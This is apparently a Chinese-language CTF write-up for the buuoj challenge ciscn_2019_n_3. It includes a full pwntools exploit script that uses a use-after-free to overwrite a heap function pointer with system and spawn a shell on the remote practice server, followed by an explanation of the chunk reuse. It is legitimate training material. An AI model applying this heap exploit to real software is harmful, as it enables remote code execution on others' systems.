这题和之前做的一个题很像,但是记不清了,也是分开两块chunk分别存data和操作,印象中是这样,那题也是先申请三个然后释放俩,再申请回来,回来的这个的两部分控制好大小,使得分回来的两块chunk来自刚才free的两块chunk的同一部分,放操作的部分,然后就能改变操作函数了,具体记不清了,反正也是通过控制malloc的大小来返回原来不可改的chunk
exp
from pwn import *
r=remote('node3.buuoj.cn',29412)
elf=ELF('./ciscn_2019_n_3')
def add(idx,type,content,length=0):
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("> ")
r.sendline(str(idx))
r.recvuntil("> ")
if(type==1):
r.sendline(str(type))
r.recvuntil("> ")
r.sendline(str(content))
else:
r.sendline(str(type))
r.recvuntil("> ")
r.sendline(str(length))
r.recvuntil("> ")
r.sendline(str(content))
def show(idx):
r.sendlineafter('> ','3')
r.sendlineafter('> ',str(idx))
def delete(idx):
r.sendlineafter('> ','2')
r.sendlineafter('> ',str(idx))
add(0,1,1)
add(1,1,1)
add(2,1,1)
delete(0)
delete(1)
payload='sh'.ljust(4,'\x00')+p32(elf.plt['system'])
add(3,2,payload,0xc)
delete(0)
r.interactive()
这题很明显的uaf漏洞,并且很明显的我们可以改在chunk上的操作函数来get shell,
每次都是分配固定0xc大小的chunk放操作,加一个指针,再看是否分配第二块chunk放数据,那么我们无法直接修改第一个chunk内的内容,不然就可以直接改操作函数,其实这里哪块都不能修改,因为没有edit,但是我们可以通过把块释放再申请回来时的输入数据操作更改块中的操作函数,并且由于uaf的存在使得我们能够运行改变之后的操作函数,如果没有uaf呢?
这里就是,先malloc三个,最后一个是防止与top chunk合并的,然后再free俩,顺序自己看,但是malloc回来时候要记得他是先进后出的结构,对应着你申请到的数据chunk对应着free的哪个下标的操作chunk,这样才知道运行哪个chunk的操作,都运行其实也可以,,只要控制数据块大小和操作块一样大就能申请下来,然后看我们的操作调用方式
可以看出用删除比较不错,那么我们就把records[v0]对应‘/sh’字符串,records[v0]+4对应system函数,这样改完再调用delete就是system(’/sh’)